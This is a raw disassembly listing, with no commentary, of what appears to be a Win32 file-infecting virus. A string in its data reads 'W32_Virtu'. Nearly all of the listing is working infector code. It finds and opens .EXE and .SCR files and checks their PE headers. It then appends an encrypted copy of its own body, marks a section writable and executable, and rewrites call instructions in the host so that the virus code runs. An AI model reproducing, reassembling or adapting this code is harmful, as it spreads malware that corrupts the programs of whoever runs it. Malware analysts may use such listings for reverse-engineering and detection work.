		cmp	dword ptr [ebp+4039AEh], 0
		jz	loc_612490
		call	near ptr loc_6122C8+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_6122C8:				; CODE XREF: sub_6122A8+Fp
		add	bh, bh
sub_6122A8	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_6119E2
		mov	edx, dword ptr ss:loc_4039A6[ebp]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_6119E2
		mov	edi, dword ptr ss:loc_4039A6[ebp]
		push	esi
		call	sub_6119E2
		mov	edx, dword ptr ss:loc_4039A6[ebp]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_612490
		jz	loc_612490
		add	esi, [ebp+4039AAh]
		add	esi, [ebp+403972h]
; START	OF FUNCTION CHUNK FOR sub_612461


loc_612342:				; CODE XREF: sub_612461+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_6123ED
		lea	eax, [esi+4]
		sub	eax, [ebp+403972h]
		add	eax, [esi]
		push	eax
		call	sub_6119E2
		cmp	dword ptr ss:loc_4039A6[ebp], 0
		jnz	short loc_612370
		cmp	eax, [edi+0Ch]
		jnb	loc_612489
		jmp	short loc_61237C
; ---------------------------------------------------------------------------


loc_612370:				; CODE XREF: sub_612461-FEj
		cmp	dword ptr ss:loc_4039A6[ebp], edx
		jnz	loc_612489


loc_61237C:				; CODE XREF: sub_612461-F3j
		add	eax, [ebp+403972h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_612489
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_6119E2
		cmp	dword ptr ss:loc_4039A6[ebp], edi
		jnz	loc_612489
		add	eax, [ebp+4039AAh]
		add	eax, [ebp+403972h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_612489
		cmp	eax, [edi+8]
		jnb	loc_612489


loc_6123C5:				; CODE XREF: sub_612461+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+403972h]
		push	edx
		push	eax
		push	dword ptr [ebp+4039BEh]
		call	dword ptr [ebp+403548h]
		pop	edx
		test	eax, eax
		jnz	loc_61249F
		jmp	loc_612489
; ---------------------------------------------------------------------------


loc_6123ED:				; CODE XREF: sub_612461-11Cj
		cmp	al, 0FFh
		jnz	loc_612489
		cmp	byte ptr [esi],	15h
		jnz	loc_612489
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_6119E2
		cmp	dword ptr ss:loc_4039A6[ebp], edi
		jnz	short loc_612489
		add	eax, [ebp+4039AAh]
		add	eax, [ebp+403972h]
		mov	[ebp+4039CAh], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_612436
		cmp	eax, [ebp+4039C6h]
		jb	short loc_61249F


loc_612436:				; CODE XREF: sub_612461-35j
		cmp	eax, 70000000h
		jb	short loc_612474
		call	sub_612461
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+4039CAh]
		jnz	short locret_612460
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_61247B
; ---------------------------------------------------------------------------

locret_612460:				; CODE XREF: sub_612461-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_612461

; =============== S U B	R O U T	I N E =======================================



sub_612461	proc near		; CODE XREF: sub_612461-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00612342 SIZE 0000011F BYTES

		pop	dword ptr ss:loc_403992[ebp]
		pusha
		mov	esi, [ebp+403972h]
		call	sub_611AE9
		popa


loc_612474:				; CODE XREF: sub_612461-26j
		test	eax, 80000000h
		jnz	short loc_612489


loc_61247B:				; CODE XREF: sub_612461-3j
		sub	eax, [edi+0Ch]
		jb	short loc_612489
		cmp	eax, [edi+8]
		jb	loc_6123C5


loc_612489:				; CODE XREF: sub_612461-F9j
					; sub_612461-EBj ...
		dec	ecx
		jnz	loc_612342


loc_612490:				; CODE XREF: sub_6122A8+9j
					; .XComp:0061232Aj ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_6124DB
; ---------------------------------------------------------------------------


loc_61249F:				; CODE XREF: sub_612461-7Fj
					; sub_612461-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+4039AEh]
		lea	edi, [ecx+2435h]
		add	eax, [ebp+403972h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_6124DB:				; CODE XREF: sub_612461+3Cj
		pop	edi
		pop	esi
		retn
sub_612461	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6124DE	proc near		; CODE XREF: .XComp:006126ACp
					; sub_6126D4+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr ss:loc_40357C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	locret_6125AF
		mov	[ebp+403952h], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_6125AF
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_612A67
		mov	dword ptr ss:loc_403956[ebp], eax
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_612A5B
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_612A5B
		mov	[ebp+40396Ah], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+403560h]
		test	eax, eax
		jz	loc_612A5B
		xor	ecx, ecx
		mov	dword ptr ss:loc_40396E[ebp], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+4035A0h]
		test	eax, eax
		jz	loc_612A33
		mov	[ebp+403972h], eax

locret_6125AF:				; CODE XREF: sub_6124DE+10j
					; sub_6124DE+27j ...
		retn
sub_6124DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_6125B0	proc near		; CODE XREF: sub_6126D4+117p
					; sub_6126D4+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jnz	short loc_6125CA
		add	eax, [ebp+40106Dh]


loc_6125CA:				; CODE XREF: sub_6125B0+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+40397Ah], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_6125B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_6125F5	proc near		; CODE XREF: sub_6126D4:loc_612723p
					; sub_6126D4+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_6125FA:				; CODE XREF: sub_6125F5+23j
		jecxz	short locret_612631
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_612631
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_6125FA
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+40396Ah]

locret_612631:				; CODE XREF: sub_6125F5:loc_6125FAj
					; sub_6125F5+1Dj ...
		retn
sub_6125F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_612632	proc near		; CODE XREF: .XComp:006126BEp

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_612632	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_61263F:				; CODE XREF: .XComp:00612660j
		mov	ecx, edi
		jmp	short loc_61264E
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_61264A:				; CODE XREF: .XComp:0061265Cj
		mov	ebx, edi
		xor	ecx, ecx


loc_61264E:				; CODE XREF: .XComp:00612641j
					; .XComp:00612664j
		lodsb
		cmp	al, 61h
		jb	short loc_612659
		cmp	al, 7Ah
		ja	short loc_612659
		sub	al, 20h


loc_612659:				; CODE XREF: .XComp:00612651j
					; .XComp:00612655j
		stosb
		cmp	al, 5Ch
		jz	short loc_61264A
		cmp	al, 2Eh
		jz	short loc_61263F
		cmp	al, 0
		jnz	short loc_61264E
		jecxz	short locret_612631
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_61267C
		cmp	eax, 524353h
		jnz	locret_6125AF


loc_61267C:				; CODE XREF: .XComp:0061266Fj
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_6125AF
		cmp	eax, 4E554357h
		jz	locret_6125AF
		cmp	eax, 32334357h
		jz	locret_6125AF
		cmp	eax, 4F545350h
		jz	locret_6125AF
		xor	ebx, ebx
		call	sub_6124DE
		jz	locret_6125AF
		xor	edx, edx
		call	sub_6126D4
		call	sub_612632
		call	$+5
		pop	ebp
		sub	ebp, offset loc_402F8A
		jmp	loc_612A11

; =============== S U B	R O U T	I N E =======================================



sub_6126D4	proc near		; CODE XREF: .XComp:006126B9p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+403972h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_612A11
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_612A11
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_612A11
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_612A11
		jecxz	short loc_612723
		cmp	ecx, 101h
		jbe	loc_612A11


loc_612723:				; CODE XREF: sub_6126D4+41j
		call	sub_6125F5
		jb	loc_612A11
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_61122D
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	[ebp+403430h], dh


loc_61274D:				; CODE XREF: sub_6126D4+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_612768
		call	sub_61122D
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	dword ptr ss:loc_403431[ebp], edx
		jmp	short loc_61274D
; ---------------------------------------------------------------------------


loc_612768:				; CODE XREF: sub_6126D4+7Ej
					; sub_6126D4+CDj ...
		push	6
		pop	ecx


loc_61276E:				; CODE XREF: sub_6126D4+B8j
		push	6
		pop	eax
		call	sub_61122D
		mov	al, [ebp+403429h]
		xchg	al, [edx+ebp+403429h]
		mov	[ebp+403429h], al
		loop	loc_61276E
		test	dword ptr ss:loc_403431[ebp], 8
		jnz	short loc_6127A3
		cmp	byte ptr [ebp+40342Bh],	1
		jz	short loc_612768


loc_6127A3:				; CODE XREF: sub_6126D4+C4j
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	short loc_6127CA
		cmp	byte ptr [ebp+403429h],	5
		jz	short loc_612768
		cmp	byte ptr ss:loc_40342A[ebp], 5
		jz	short loc_612768
		cmp	byte ptr [ebp+40342Bh],	5
		jz	short loc_612768


loc_6127CA:				; CODE XREF: sub_6126D4+D9j
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_6127DF
		cmp	byte ptr [ebp+403429h],	2
		ja	short loc_612768


loc_6127DF:				; CODE XREF: sub_6126D4+100j
		and	dword ptr [ebp+4039AEh], 0
		call	loc_611C7A
		call	sub_6125B0
		call	sub_612A1A
		mov	ebx, [ebp+403976h]
		call	sub_6124DE
		jz	loc_612A11
		mov	esi, [ebp+403972h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_6125F5
		jb	loc_612A11
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jnz	short loc_612847
		lea	esi, [ebp+40343Ch]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_612847:				; CODE XREF: sub_6126D4+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_61285B
		rep movsb


loc_61285B:				; CODE XREF: sub_6126D4+183j
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jz	loc_612913
		push	dword ptr [ebx+28h]
		call	sub_6119E2
		mov	edx, dword ptr ss:loc_4039A6[ebp]
		test	edx, edx
		jz	loc_612913
		mov	esi, [ebp+403972h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_612898
		xor	ecx, ecx


loc_612898:				; CODE XREF: sub_6126D4+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_6128FF
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, dword ptr ss:loc_403986[ebp]
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_6128D8
		neg	dword ptr [eax]


loc_6128D8:				; CODE XREF: sub_6126D4+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+4039AEh], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr ss:loc_403431[ebp], 40h
		jz	short loc_6128F6
		neg	dword ptr [eax]


loc_6128F6:				; CODE XREF: sub_6126D4+21Ej
		push	ecx
		call	sub_6125B0
		pop	ecx
		jmp	short loc_61290B
; ---------------------------------------------------------------------------


loc_6128FF:				; CODE XREF: sub_6126D4+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_61290B:				; CODE XREF: sub_6126D4+229j
		lea	esi, [ebp+40343Ch]
		rep movsb


loc_612913:				; CODE XREF: sub_6126D4+191j
					; sub_6126D4+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_61292C
		imul	edx, 12345678h


loc_61292C:				; CODE XREF: sub_6126D4+250j
		mov	[eax-1], dl
		call	sub_610900
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_61295D
		mov	[ebp+4039AEh], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_61295D:				; CODE XREF: sub_6126D4+274j
		sub	eax, [ebx+28h]
		push	dword ptr [ebp+40397Eh]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_612982
		push	edx
		call	sub_6122A8
		pop	edx


loc_612982:				; CODE XREF: sub_6126D4+2A5j
		mov	ecx, [ebp+4039AEh]
		jecxz	short loc_61298D
		mov	[ebx+28h], ecx


loc_61298D:				; CODE XREF: sub_6126D4+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_61299E
		mov	[edx+8], ecx


loc_61299E:				; CODE XREF: sub_6126D4+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+40397Ah]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr ss:loc_403431[ebp], 10000000h
		jz	short loc_6129CF
		add	ecx, [ebp+40106Dh]


loc_6129CF:				; CODE XREF: sub_6126D4+2F3j
		mov	dh, 0
		test	dword ptr ss:loc_403431[ebp], 20000h
		jnz	short loc_6129F1
		inc	dh
		test	dword ptr ss:loc_403431[ebp], 40000h
		jnz	short loc_6129F1
		mov	dh, [ebp+403430h]


loc_6129F1:				; CODE XREF: sub_6126D4+307j
					; sub_6126D4+315j
		test	dword ptr ss:loc_403431[ebp], 4000h
		jnz	short loc_612A08


loc_6129FD:				; CODE XREF: sub_6126D4+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_6129FD
		jmp	short loc_612A11
; ---------------------------------------------------------------------------


loc_612A08:				; CODE XREF: sub_6126D4+327j
					; sub_6126D4+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_612A08


loc_612A11:				; CODE XREF: .XComp:006126CFj
					; sub_6126D4+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_6126D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_612A1A	proc near		; CODE XREF: sub_6126D4+11Cp
		cmp	dword ptr ss:loc_403956[ebp], 0
		jz	locret_6125AF
		push	dword ptr [ebp+403972h]
		call	dword ptr ss:loc_4035C4[ebp]


loc_612A33:				; CODE XREF: sub_6124DE+C5j
		push	dword ptr ss:loc_40396E[ebp]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+4035B8h]


loc_612A5B:				; CODE XREF: sub_6124DE+6Bj
					; sub_6124DE+82j ...
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+40353Ch]


loc_612A67:				; CODE XREF: sub_6124DE+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr [ebp+403952h]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr ss:loc_403956[ebp], 0
		retn
sub_612A1A	endp

; ---------------------------------------------------------------------------
		dw 0E8h
		dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h
		dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh
		dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h,	575FFFFh
		dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h
		dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h,	40384EB5h
		dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h
		dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh
		dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h
		dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h,	3E8h, 24C200h
		dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h
		dd 3413ED81h, 39E80040h, 61FFFFE5h, 60004C2h, 3010207h
		dd 0E3EB205h, 0FF09176Fh, 11D015h, 9001h, 3Fh dup(0)
		dd 9B470000h, 8AD7C80h,	3317C83h, 0ADA07C91h, 7C80h, 2 dup(0)
		dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h,	42C7C80h
		dd 6377C81h, 4B0F7C81h,	0C0587C86h, 0E7EC7C80h,	153C7C80h
		dd 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h, 5DCA7C86h
		dd 11DA7C83h, 2ADE7C81h, 1D777C81h, 0B9057C80h,	0BB767C80h
		dd 9E17C80h, 3DE57C83h,	3F587C86h, 27827C86h, 1CB87C81h
		dd 24427C83h, 0B1C7C80h, 0B9747C81h, 9A517C80h,	0D877C80h
		dd 0D4607C81h, 0D6827C90h, 0D7547C90h, 0D7697C90h, 0D7937C90h
		dd 0DC557C90h, 0DCFD7C90h, 0DD907C90h, 0DEB67C90h, 0EA327C90h
		dd 30C67C90h, 0ED887C91h, 52A42711h, 2AA82EACh,	24E1ABB4h
		dd 0B7312DC9h, 32F00F1Ah, 0DA254B4Fh, 65C3C604h, 0DA58DE31h
		dd 0FA13FD54h, 0D3165B93h, 65E9E624h, 0FA78FE2Eh, 550B0FBh
		dd 0CA3CBF89h, 82008604h, 0C81FEA9Ch, 6DE9B1FCh, 27A3F4D3h
		dd 0A2609F8Ah, 0F1B1BDDFh, 380036h, 612D94h, 42005Ch, 730061h
		dd 4E0065h, 6D0061h, 640065h, 62004Fh, 65006Ah,	740063h
		dd 5C0073h, 330057h, 5F0032h, 690056h, 740072h,	75h, 84B076A4h
		dd 0FBCD394Ch, 0C2408670h, 0AF58DC5Ch, 25962840h, 0AA5CDFE9h
		dd 0E660E664h, 707E8B7Ch, 0B244C6C1h, 0BB8D790Ch, 8200C630h
		dd 0EF189E5Ch, 90171C1Fh, 0AFh dup(0)
		dd 79h,	0Ch dup(0)
		dd 7FFDF000h, 0B9Bh dup(0)
		db 3 dup(0)
byte_615F63	db 0			; DATA XREF: .XComp0:off_444104o
		dd 0C0h	dup(0)
dword_616264	dd 444h	dup(0)			db 0
byte_617375	db 3 dup(0)		; DATA XREF: .XComp0:off_43F9E8o
		dd 0CBh	dup(0)
		db 2 dup(0)
_XComp		ends

; Section 3. (virtual address 00218000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00217800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 618000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start